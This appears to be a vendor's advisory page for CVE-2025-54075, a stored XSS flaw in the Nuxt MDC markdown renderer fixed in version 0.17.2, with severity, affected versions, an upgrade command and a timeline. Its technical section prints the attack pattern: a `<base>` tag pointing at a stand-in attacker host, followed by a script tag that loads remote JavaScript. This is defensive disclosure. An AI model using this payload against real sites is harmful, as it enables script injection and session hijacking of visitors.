CVE-2025-54075: Nuxt MDC stored XSS in markdown rendering via base tag

CVE-2025-54075 · Severity: low · CVSS 3.1 · Published 2025-07-20

Nuxt MDC is a markdown content renderer used in Nuxt-based websites, blogs, and documentation systems. A flaw in HTML filtering allows attackers to inject a `<base>` tag in markdown that redirects subsequent relative URLs to an attacker-controlled server, enabling malicious script injection and full session hijacking for site visitors.

Technologies: @nuxtjs/mdc (npm). Vendors: npm, Nuxt.

Quick answers

Is CVE-2025-54075 exploited in the wild?
No. Junglewise Threat Intelligence has no report of CVE-2025-54075 being exploited in the wild.
How severe is CVE-2025-54075?
Low severity, with a CVSS score of 3.1, published 20 July 2025.
Which products and versions are affected?
@nuxtjs/mdc (npm) SEMVER:introduced=0,fixed=0.17.2; Nuxt MDC before 0.17.2.
Is there a fix for CVE-2025-54075?
Yes. @nuxtjs/mdc (npm): upgrade to 0.17.2 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.
How is CVE-2025-54075 attacked?
It is attacked over the network.
Am I affected by CVE-2025-54075?
Check whether you run @nuxtjs/mdc (npm) or Nuxt MDC at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

How to fix

  • @nuxtjs/mdc (npm): upgrade to 0.17.2 or later
    npm install @nuxtjs/mdc@0.17.2

Technical details

The vulnerability is a stored XSS via improper HTML attribute validation (CWE-79, CWE-80). The validateProp() function in src/runtime/parser/utils/props.ts blocks event handlers (on*) and filters href/src on anchors, but fails to validate href on `<base>` tags. When a markdown author injects `<base href="https://attacker.tld">`, subsequent relative URLs are resolved to the attacker's domain. A `<script src="/xss.js"></script>` tag following the base element then loads and executes arbitrary JavaScript from the attacker's server under the victim site's origin. The attack requires no authentication or user interaction beyond visiting a page with malicious markdown. Patched in version 0.17.2; the fix sanitizes or strips `<base>` tags entirely.

Affected products

  • Nuxt MDC before 0.17.2

Identifiers

  • CVE-2025-54075
  • GHSA-cj6r-rrr9-fg82

Timeline

  • 2025-07-18: disclosed
  • 2025-07-20: patched: version 0.17.2

References

This page as Markdown. Free to reuse under CC BY 4.0 with a link back.